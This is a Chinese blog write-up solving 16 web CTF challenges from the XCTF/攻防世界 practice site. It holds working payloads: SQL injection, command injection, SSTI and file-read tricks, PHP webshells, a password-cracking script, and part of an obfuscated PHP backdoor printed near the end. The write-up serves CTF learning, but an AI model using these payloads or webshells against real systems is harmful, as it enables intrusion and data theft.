web

web复现之攻防世界小试牛刀

Posted by 1nhann on 2021-02-17
Page views

[toc]

菜鸡很菜,刷一点web题,这里记录一下攻防世界进阶区no.16到no.36一共21题的解题思路

0x01 easytonado

image-20201218162326665

image-20201218162341230

image-20201218162359452

render:渲染

image-20201218162526093

handler.settings

image-20201218174116419

image-20201218174147505

Tornado提供了一些对象别名来快速访问对象

0x02 shrine

看源码:

image-20201219145157673

在config中

image-20201219144723838

image-20201219144749593

image-20201219145030378

找到current_app

image-20201219145243001

0x03 mfw

image-20201220012026112

image-20201220012119052

用GitHack(python2)

python GitHack.py http://220.249.52.134:45120/.git/

image-20201220012352915

image-20201220082020456

flag.php中啥也没有

看一下 index.php

image-20201220082112080

没有过滤 assert 直接执行

payload:

?page=').system("ls");//

image-20201220082414669

image-20201220082511454

实际上是被挡住了

删了就能看到

image-20201220082551197

image-20201220082656088

image-20201220082723208

看源码,看到flag.php

image-20201220082841553

找到flag

0x04 fakebook

image-20201220084307888

order by 4 没问题

order by 5 报错

image-20201220084406251

image-20201220084518324

拦截 了 select

image-20201220084640475

盲注出 database 名字 : fakebook

union select 可以用 union++select 替代,也可以union/**/select来绕过

image-20201220125115073

爆出数据库名 :fakebook

image-20201220125402105

爆出表名:users

爆出所有字段:

group_concat(column_name),3,4 from information_schema.columns where table_name='users'

image-20201220130609783

dirsearch一下

image-20210107125314731

看看robots.txt

image-20210107125400641

看看user.php.bak

有一个get方法,里面直接curl了$this->blog

image-20210108113125572

想到也许可以ssrf,即用file协议读服务器上的文件

随便join看看

image-20210108113329324

报错了

image-20210108113357120

这里有个方法,估计就是用来判断blog是否满足正则

分析一波

image-20210108114514703

blog不能以file://开头了,那就得另想办法

随便注册一个

image-20210108114958487

点开看看

image-20210108115024461

有几个点,no可能是可以注入的

the contents of his/her blog

image-20210108115208049

发现有个iframe

好奇如果blog是www.baidu.com会怎么样

image-20210108115746617

即使是正常的url也没怎么样

这个src有点奇怪

查了一下,src=的东西可以有两个,一是 url ,二是DATA URI

Data URI的格式这样:

src="data:<MIME Type>;base64,<content>"

做个试验

image-20210108120955454

image-20210108121124763

现在就打开浏览器,访问str.php,预期是看到弹窗

image-20210108121237721

果然可以

如果我写入一个图片行吗

image-20210108124327509

那么就看懂了,这个iframe用的是Data URI,答应出来的内容用base64编码直接写在HTML中,但是上面看到的,base64,后面是空的,所以什么也没有。

重新注一下

image-20210108124833486

发现几个要点

  • unserialize
  • 回显的位置是2
  • view.php所在位置是 /var/www/html/

再看一眼所有字段

image-20210108125101862

no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

看看每个字段有没有什么异端

no

image-20210108125536144

username

image-20210108125601027

passwd

image-20210108125636310

看来是md5过的

data

image-20210108125716268

有点东西

有两个对象的序列化

image-20210108125822624

正好是这个UserInfo

推测unserialize的内容就可能取自这里

USER

image-20210108130035968

报错了

剩下两个也都报错

image-20210108130233505

仔细看看,在contents部分,还有一个报错

image-20210108130804906

可以猜测,每次select ,先从data中取一个序列,序列生成一个对象,对象调用了getBlogContents()方法,然后成为了contents的内容

正常情况下,no如果是存在的,那么一个no就对应了一个data,一个username,一个age,unserialize的内容,一般取自data,所以data无非是在1或者3或者4的位置被select了

image-20210108131142532

复制过来试试看,看看底下有没有报错,就能确定哪个是data

'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:7:"a.a.abc";}'

image-20210108131426097

3的位置报错

试试4的位置

image-20210108131524705

对了,就是4的位置

现在,就要借助getBlogContents函数,来读取服务器中的文件了

用到file协议:file:///var/www/html/index.php

'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:30:"file:///var/www/html/index.php";}'

看看index.php

image-20210108132454291

看看db.php

image-20210108133109182

好像也没什么用

flag到底在哪里呢?

使用御剑,用php的字典来匹配

image-20210108162359741

谁也没有想到,竟然有一个flag.php文件,所以直接读

http://220.249.52.134:40925/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"hello";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

image-20210108155514862

0x05 Cat

127.0.0.1 可以 ,ping 通了

而且看到是php开发的

image-20210109132937755

www.baidu.com 不行,但是对应的ip 可以

image-20210109133121984

尝试了一下,初步确定,url参数中只能有 [a-z0-9A-Z],其他符号尝试了一下,好像一概不行

一般网站,处理宽字节可能有问题,试试看

%80

image-20210109135716492

不出所料,报错了

好好看看报错的信息

image-20210109135837741

放到浏览器中看,是这样的

image-20210109140002072

image-20210109141318286

在view.py中看到ping函数,接收的是POST,可见当前页面是把url当做post的数据再传到127.0.0.1/api/ping

对于传入的url,先会 escape ,如果有 \\、\、"、$、' 中的一个,都会被加个 \\

最后得到的新 url 会被gbk 编码

而 如果 url 最后不满足这样的形式:

image-20210109141628834

就会报错 Invalid URL

可以看到 允许有 - . /

看到数据库的信息

image-20210109142119307

可以看到

image-20210109142626742

报错信息尝试把post进去的内容打印出来

受此启发,能不能把服务器上的文件当做post的内容来传入,引起报错,然后看到文件内容

这时候,思考一下,php向127.0.0.1/api/ping 发出POST 请求的方式有哪些

  1. curl
  2. file_get_contents
  3. fopen
  4. fsockopen

而其中,能够POST文件的,有curl、file_get_contents,但是,能仅仅通过控制url来控制传递的文件的,就只有 curl

也就是说,如果服务器的php用的culr来搞事情,那么就会很简单了

可以想象,php中差不多这样写的:

1
2
3
4
5
6
7
$ch = init_curl();
curl_setopt($ch,CURLOPT_URL,"127.0.0.1/api/ping");
curl_setopt($ch,CURLOPT_POST,true);
$post_data=array('url'=>$_GET['url']);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data);
curl_exec($ch);
............

image-20210109155852996

post data 中 /etc/passwd是个字符串,但是 @/etc/passwd 是个文件

而我们知道,/opt/api/database.sqlite3是个二进制文件,里面可能会有flag的信息

我们看一看

image-20210109155958365

果然,报错了,看来二进制数据作为post_data 传到了 python

image-20210109160051537

搜索一下flag、ctf 这样的关键字,最后找到了flag

WHCTF{yoooo_Such_A_G00D_@}

0x06 ics-05

dirsearch一下

image-20210116190917057

1
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

点开

image-20210116185026294

看源码

image-20210116185125302

有个page参数

image-20210116185219326

image-20210116185329438

打印出来了index ,打印了输入的东西

试一下宽字节

1
http://220.249.52.134:39113/index.php?page=%80

没报错,也没打印出东西

image-20210116185715752

看到尝试加载一些东西

输入index.html

1
http://220.249.52.134:39113/index.php?page=index.html

image-20210116190155953

就把index.html打印出来了

image-20210116190240485

page=index.php就返回个OK

可见,php调用了 include或者别的什么,使得能够包含文件

随便试试,php://input

image-20210116191023014

没什么效果

image-20210116191344419

试试看php://filter

image-20210116191748261

可以用php://filter读文件的内容

但是但凡用到php://input就不管用了

可以看看index.php到底写了什么

image-20210116192300411

image-20210116192313166

把这些东西解码了

image-20210116193718636

非常混乱

把其中的php整理出来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>

<?php
$page = $_GET["page"];
if (isset($page)) {
if (ctype_alnum($page)){
echo $page;
die();
}
else{
if(strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0){
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php'){
die('Ok');
}
include($page);
die();
}
}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET["pat"];
$replacement = $_GET["rep"];
$subject = $_GET["sub"];
if (isset($pattern) && isset($replacement) && isset($subject)){
preg_replace($pattern, $replacement, $subject);
}
else{
die();
}
}
?>

先考虑一下怎么好好使用前面这个 include

page里面,不能有input,不能有text,不能有ta:text

1
ctype_alnum

如果page里面只有数字和字母,那就直接打印

试试看用http://

好像也没啥用

试试看用data伪协议,也不能用

这时候再看看后面一个if,里面有一个 preg_replace,不知道这个漏洞能不能用

试试看

$_SERVER['HTTP_X_FORWARDED_FOR']所指的header是X-Forwarded-For

image-20210116224351779

寻找flag

image-20210116225021765

看flag

image-20210116225149108

0x07 favorite_number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

满足几个要点

  • $stuff === $array && $stuff[0] != 'admin'

    即两个数组===,但是第一个元素!=

  • $_POST[“num”] 要满足 /^\d+$/im

    image-20210117092733979

    即要有一行都是数字

  • $_POST[“num”] 不能满足 /sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i

    image-20210117092943991

    不能有以上这些东西,而且对大小写不敏感

总之,有两个东西要控制,一个是stuff数组,一个是num

题目提示是 //php5.5.9 ,就往这个方向搜漏洞

就搜到一个 integer key trunction

image-20210117093149529

1
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

所以

1
stuff[4294967296]=admin&stuff[1]=user&num=666

num,可以是随便一个数字

但是,num参与到了system函数中,所以就考虑num里面带命令

1
system("echo ".$num);

post_data用这个

1
stuff[4294967296]=admin&stuff[1]=user&num=666%0als

但是用burp抓包看看

image-20210117114322079

发现多了个 %0d,即 \r,这是windows下的hackbar 会把 %0a 转换成 %0d%0a

用culr就没问题

image-20210117120437957

还是在burp里面整

image-20210117121914760

看到flag

image-20210117122113822

看看inode号码

image-20210117130946284

1
21632381 flag
1
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac%20`find%20/%20-inum%2021632381`

image-20210117133236597

得到flag

1
cyberpeace{eff4892c6365765ce301d2dad92334ef}

0x08 leaking

很显然是js写的

很可能是node开发的后端

image-20210117140713297

有个data参数

随便输进去看看

image-20210117140742174

1
res.send("eval ->" + vm.run(req.query.data));

看到会开个沙盒,把data参数当做命令执行

可以读取Buffer,flag这个变量正常都会在Buffer里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests as req
import time
url = "http://220.249.52.134:49864/?data=Buffer(5000)"
t = ''
while 'flag' not in t:
r = req.get(url)
t = r.text
print(r.status_code)
time.sleep(0.1)
if 'flag' or "cyber" in t:
print(t)
with open("r.txt","w",encoding='utf-8') as f:
f.write(t)
break

image-20210117221351543

image-20210117221546390

1
flag{4nother_h34rtbleed_in_n0dejs}

0x09 lottery

dirsearch一下发现有robots.txt,看一下,发现有/.git/

GitHack 一下

image-20210117174849344

全部代码都得到了

代码审计一波

看看主干部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);

if(json_last_error() != JSON_ERROR_NONE){
response_error('invalid json');
}

require_keys($data, ['action']);

switch ($data['action']) {
case 'buy':
require_keys($data, ['numbers']);
buy($data);
break;

case 'flag':
flag($data);
break;

case 'register':
require_keys($data, ['name']);
register($data);
break;

default:
response_error('invalid request');
break;
}

抓个包看看

image-20210117190837319

1
{"action":"buy","numbers":"1234567"}

传了个json,其中必须有action,否则就会报错,然后根据action 调用函数

而当调用buy的时候,会把$data作为参数传入,$data 是一个经过json_decode处理后得到的一个Array

image-20210117200928675

而$data中的每一个数字,在buy函数中回合 random_win_nums中的每一个数字进行比较

1
2
3
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}

但是采用的是弱相等

image-20210117201358271

所以json里面的numbers都设为true就好了

image-20210117201446821

然后,把flag买下来

image-20210117201613403

1
cyberpeace{918e1839e7c4975b1c944d5c2f5c1b02}

0x0a FlatScience

dirsearch一下

image-20210118142058484

看看robots.txt

image-20210118142118182

不让访问login.php和 admin.php

那我就去看看

login.php

image-20210118142408777

源码里面看到这样一句话

试试看加个debug

image-20210118142452902

吐出了一些源码

image-20210118142952786

可以 user这里做注入

最后name的值会返回到cookie里面

1
1'%20union/**/select(1),2%23

image-20210118145520534

原来是因为#没法处理为注释,那就换成 –

1
usr=0'%20union%20select%20'a'%20,"hello"--&pw=

image-20210118151244506

查看所有表名

1
usr=0'%20union%20select%201,tbl_name%20from%20sqlite_master%20where%20type='table'--&pw=

image-20210118152049570

1
Users
1
usr=0'%20union%20select%201,sql%20from%20sqlite_master%20where%20type='table'--&pw=

看看sql

image-20210118152805458

有个hint字段、password字段、id字段、name 字段

看看Users的字段

1
usr=0'union select 1,group_concat(name||">"||password||">"||hint)from Users--&pw=

image-20210217164704755

1
2
3
admin>3fab54a50e770d830c0416df817567662a9dc85c>my fav word in my fav paper?!,
fritze>54eae8935c90f467427f05e4ece82cf569f89507>my love is…?,
hansi>34b0bb7c304949f9ff2fc101eef0f048be10d3bd>the password is password;

好像啥也没有,有个提示,说 my fav word in my fav paper

难道说密码就是作者最爱的文章中最爱的那个字???

而这个password,是 sha1($pass."Salz!") 的结果

要找到 $pass ,即admin 的密码

又尝试了一下,没办法堆叠注入,所以就不能写shell了

那就只好看看这么多paper,里面估计就有admin的密码了

可以遍历 paper 当中的每一个word,加密后判断是不是3fab54a50e770d830c0416df817567662a9dc85c

写个脚本,对于每一个页面,将其中的pdf下载下来,进行尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/python3
# from PyPDF2 import PdfFileReader,PdfFileWriter
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
from pdfminer.pdfpage import PDFPage,PDFTextExtractionNotAllowed
from pdfminer.pdfinterp import PDFResourceManager,PDFPageInterpreter
# from pdfminer.pdfdevice import PDFDevice
from io import StringIO
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
import os
import hashlib


def extract_pdf(file_name):
with open(file_name,"rb") as f:
document = PDFDocument(PDFParser(f))

if not document.is_extractable:
raise PDFTextExtractionNotAllowed
else:
manager = PDFResourceManager()
io = StringIO()

converter = TextConverter(rsrcmgr=manager,outfp=io,laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr=manager,device=converter)

with open(file_name,"rb") as f:
for page in PDFPage.get_pages(fp=f,pagenos=set()):
interpreter.process_page(page=page)
text = io.getvalue()

converter.close()
io.close()
return text


import requests
import re
os.system("rm -rf pdf")
os.mkdir("pdf")
session = requests.session()
url = "http://111.200.241.244:34245/1/2/5/"
resp = session.get(url)
html = resp.text
pattern = re.compile('"[0-9a-z]+\.pdf"')
pdfs = re.findall(pattern,html)
for p in pdfs:
p = p.strip('\"')
u = url+p
with open("./pdf/"+p,"wb") as f:
resp = session.get(u)
f.write(resp.content)

pdfs = os.listdir("./pdf")
salt = "Salz!"
pdfs = [p for p in pdfs if p.endswith("pdf")]
for pdf in pdfs:
print("processing>>>",pdf)
text = extract_pdf("./pdf/"+pdf).split(" ")
for word in text:
a = word+salt
a = a.encode("utf-8")
passwd = hashlib.sha1(a).hexdigest()
if passwd == "3fab54a50e770d830c0416df817567662a9dc85c":
print("This is password >>>> ",word)

image-20210219225512755

1
ThinJerboa

这就是密码

登录就得到flag

image-20210219225636849

1
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

0x0b bug

image-20210118183801514

要login in

试试看admin

image-20210118183839384

果然错了

注册个试试看

image-20210118183933187

试试看admin

image-20210118183948243

admin已经存在了

那思路就很直接了,到时候登录admin的账号看看

先随便注册一个看看

image-20210118184125942

成功注册

image-20210118184147826

去登录看看,且每一步都抓包看看有没有情况

login试一下

image-20210118184447971

进入

image-20210118184542434

点了下Manage

image-20210118184646476

里面有个md5值,估计是用来表示我的身份的

image-20210118184728667

被看出来不是admin

说明只有admin才可以访问这个Manage

其他的也都点点看

image-20210118184923744

image-20210118185016741

这些操作都要用到user来与自己的身份对应

有个findwd

点点看

image-20210118185150609

更改自己的passwd

image-20210118185358789

而到了真正要改的时候

image-20210118185500843

竟然是用的username,而且还没有那个md5值来捣乱

那我直接改成admin

image-20210118185537235

reset 成功

接下来admin登录就行

登进去,点了下manage

image-20210118185717264

那我直接把判定ip的东西给改了,改成127.0.0.1,也就是把X-Forwarded-For 给改了

改了,成了

image-20210118190012981

但是没有flag

看一看源码

image-20210118190042958

试试

image-20210118190156493

不是download

难道是upload

image-20210118190253255

是的

提示Just image

要小心了

传个马

image-20210118190510140

看出php了

是怎么看出php的呢?

可能是根据后缀判断,也可能是根据内容判断

随便传个session.log

image-20210118204134507

还会报错,说不是个image

那怎么判断image呢,无非是根据后缀,或者content-type

改成.php4,content-type改成image/jpeg,试试看

image-20210118204559448

还是看出了是php,看来就是根据文件的内容来判断是php了

image-20210118204624529

改成这样,上传.php4,content-type改成:image/jpeg

1
2
3
<script language="php">
eval($_GET['kkk']);
</script>

得到flag

1
cyberpeace{5c9090c768b9b619c14b2de214e5fa33}

0x0c ics-07

1
工控云管理系统项目管理页面解析漏洞

看看项目管理页面

image-20210118220827026

看源码

image-20210118220922502

没什么

看看view-source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
session_start();

if (!isset($_GET["page"])) {
show_source(__FILE__);
die();
}

if (isset($_GET["page"]) && $_GET["page"] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>

<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET["id"]) && floatval($_GET["id"]) !== '1' && substr($_GET["id"], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET["id"]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

随便输了个

发现项目名称就是page,项目ID就是id

image-20210118222250342

1
?page=aaaa&id=1%DF%27or+1=1%239

尝试一下,宽字节注入

image-20210118232221874

顺利执行了

因此$_SESSION['admin'] = True;也被执行了

那现在就可以上传文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

分析一下

post传入两个东西,cont和file,最后会生成一个文件,backup/file,然后cont会写进去

但是file要对付一个正则

1
/.+\.ph(p[3457]?|t|tml)$/i

image-20210118232424867

上传一个test.txt

image-20210118233904382

image-20210118233844877

成功了

接下来要绕过 正则

image-20210119000807084

image-20210118235515378

文件名起作 file=test.php/.

生效了,确实可以,打印了1

image-20210118235608793

那接下来写一句话木马

image-20210119000114115

可以了

接下来就为所欲为了

image-20210119001730102

得到flag

1
cyberpeace{a6afd53cafa0f9b8eb5a4bf1e89aa5c7}

0x0d unfinish

dirsearch一下

image-20210119002504475

估计又是文件上传

看一下register.php

image-20210119002531558

那就注册一个看看

1
2
3
hello@hello.com
hello
hello

登录之后

image-20210201173026492

就返回个这个

注册的用户名被打印了出来

再注册一个

1
2
3
hello@hello.com
admin
admin

用不会报错,成功跳转到了login.php

但是登录的时候,密码还是原来的hello,用admin当密码会报错,用户名或密码错误

抓包,然后猜测一下后端代码

1
2
3
4
5
6
//register.php
$email = $_POST["email"];
$password = $_POST["password"];
$username = $_POST["username"];
$sql = "INSERT table_1 (email,password,username) values ('$email','$password','$username')";
$result = mysql_query($conn,$sql);
1
2
3
4
5
6
7
8
//login.php
$email = $_POST["email"];
$password = $_POST["password"];
$sql = "SELECT username from table_1 where email = '$email' and password = '$password'";
$result = mysql_query($conn,$sql);
$row = mysql_fetch_row($result);
$username = $row["user-name"];
//pass $username and redirect to index.php

尝试在insert部分,使用报错注入

1
2
3
yes@yes.com
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND '
yes

image-20210201180859201

结果发现有拦截

image-20210201180923610

注册一个

1
2
3
no@no.com
' or 1 or '
no

理想状态是登录后,看到username是1

image-20210201182303863

没问题

所以可以控制username,让

再注册一个

1
2
3
wrong@wrong.com
'or 1 haha'
wrong

这个sql语句是错误的,所以估计不会创建账号

果然,当语句有错的时候,并不会跳转,而是依然在 register.php 当中

又经过尝试

发现被拦截的实际上是 逗号 ,

1
2
3
try@try.com
'or (select database() regexp '^shit.*') or'
try

理想情况是username 为 0

image-20210201184530063

image-20210201184559892

果然如此

1
2
3
try1@try1.com
'or (select database() regexp '.*') or'
try1

这次理想状态是username 为1

image-20210201184739999

没有问题

为了得到table name

尝试一下每个可能的表

1
2
3
4
5
6
7
mysql.innodb_table_stats 没这个表
mysql.innodb_index_stats 没这个表
sys.schema_table_statistics 没有这个表
sys.schema_index_statistics 没有这个表
sys.x$schema_flattened_key 没有这个表
sys.x$schema_index_statistics 没这个表
sys.io_global_by_file_by_bytes 没这个表

经过尝试,最后发现,有flag这个表,而且这个表的字段数量为1

写python脚本,把得到的值hex两次,然后和前后 加起来,再每十个十个地取出来,因为当一个大于10位的数字参与算数运算,会自动回显科学计数法格式的结果

1
2
want = "select * from flag"
data = {"email":"yes9@yes.com","username":"0'+(select substr(hex(hex(("+want+"))) from 1 for 10))+'0","password":"yes"}
1
("3636364336"+"3136373742"+"3332333433"+"3933343635"+"3334363236"+"3633303336"+"3337333333"+"3436333333"+"3339363236"+"3533323635"+"3331333633"+"3233363636"+"3337333533"+"3736323631"+"3334363337"+"44").decode("hex").decode("hex")

最后得到flag

image-20210202140828520

1
flag{2494e4bf06734c39be2e1626f757ba4c}

0x0e Confusion1

查看源码,得到提示

image-20210207134006584

1
2
<!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
<!--Salt @ /opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->

image-20210207134223849

报错信息

然后就没什么思路了

有一张名为pythonvsph的图片

image-20210207140143858

难道说这个web同时用到php和python进行开发

试试看,模板注入

image-20210207140243354

还真的可以

1
{% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}<hr>{% endif %}{% endfor %}

image-20210207140448361

被拦截

1
{{().__class__.__mro__[1].__subclasses__() }}

image-20210207140548667

又被拦截,拦截了class

不确定是不是python2

试试看

1
http://111.200.241.244:49407/{{ ()[request.args.c][request.args.b][1][request.args.a]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.r]()}}?c=__class__&b=__mro__&a=__subclasses__&r=readlines

image-20210207182308541

得到flag

1
cyberpeace{e31f8a9d46594485ffb2dee7a823e5f9}

0x0f i-got-id-200

竟然是用 perl 写的

image-20210211175202962

forms.pl 是个form

image-20210211175313435

会把输入的东西打印出来

image-20210213124238224

甚至可以进行 xss

image-20210213124424794

file.pl是上传文件

image-20210211175335389

perl 的文件上传

image-20210211175525594

而且文件的内容会打印出来

这题用到了cgi,调用perl脚本的运行

要考虑一下 perl 是怎么处理上传的文件的

一般会类似这样

1
2
3
4
5
my $c = CGI->new;
$file = $c->param("file");
while(<$file>){
print "$_";
}

因而可以使用特殊的文件句柄 ARGV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/cgi-bin/file.pl?/flag

-----------------------------215252639326526654323818100519
Content-Disposition: form-data; name="file"
Content-Type: application/octet-stream

ARGV
-----------------------------215252639326526654323818100519
Content-Disposition: form-data; name="file"; filename="geach.php"
Content-Type: application/octet-stream

<?php
eval($_GET['kkk']);
?>

image-20210217145120106

1
cyberpeace{87885ab3b2335e7073e782dca39875a3}

0x10 Web_php_wrong_nginx_config

image-20210213155937720

登录,却被告知网站建设中

抓个包看看

image-20210213160301654

把isLogin改了,就能看到有用的东西了

扫一下,发现robots.txt

image-20210213160655628

有两个php

访问hint.php

image-20210213161121753

1
/etc/nginx/sites-enabled/site.conf

访问一下Hack.php

却要登录,但是已知是没法登录的,只能改一下 isLogin

然后,从 Hack.php点击管理中心,isLogin=1

最后会跳转出来两个参数 file=index&ext=php

image-20210213163506608

然后可以看到,admin/index.php就被包含到文件里面了

image-20210213163743132

可是当想要包含 ../index.php 的时候

image-20210213164211917

返回的还是 admin/index.php

尝试 ../robots.txt的时候,就没有返回的内容了

尝试了一下

image-20210213164401506

应该是过滤了 ../ ,将 ../ 替换为 空

应该是用来防止轻易地访问 /etc下的那个conf文件

但是可以双写绕过

1
....//

image-20210213171339805

成功包含conf

1
?file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=

image-20210213171607004

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;
}

可见有一个 /web-img可以访问,并且如果访问 web-img/,就会列举 这个目录下所有的文件

image-20210213174352742

看看alias的用法

alias 后面是文件系统中的path,所以访问web-img/ 相当于 ls /images//,而访问 web-img../ 相当于ls /images/../

image-20210213174711918

但是访问 html目录是不行的,因为底下就有index.php,flag可能就在这个目录下,只是文件的名字应该很奇怪

最终找到一个备份文件,是hack.php的备份文件

image-20210213174837563

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
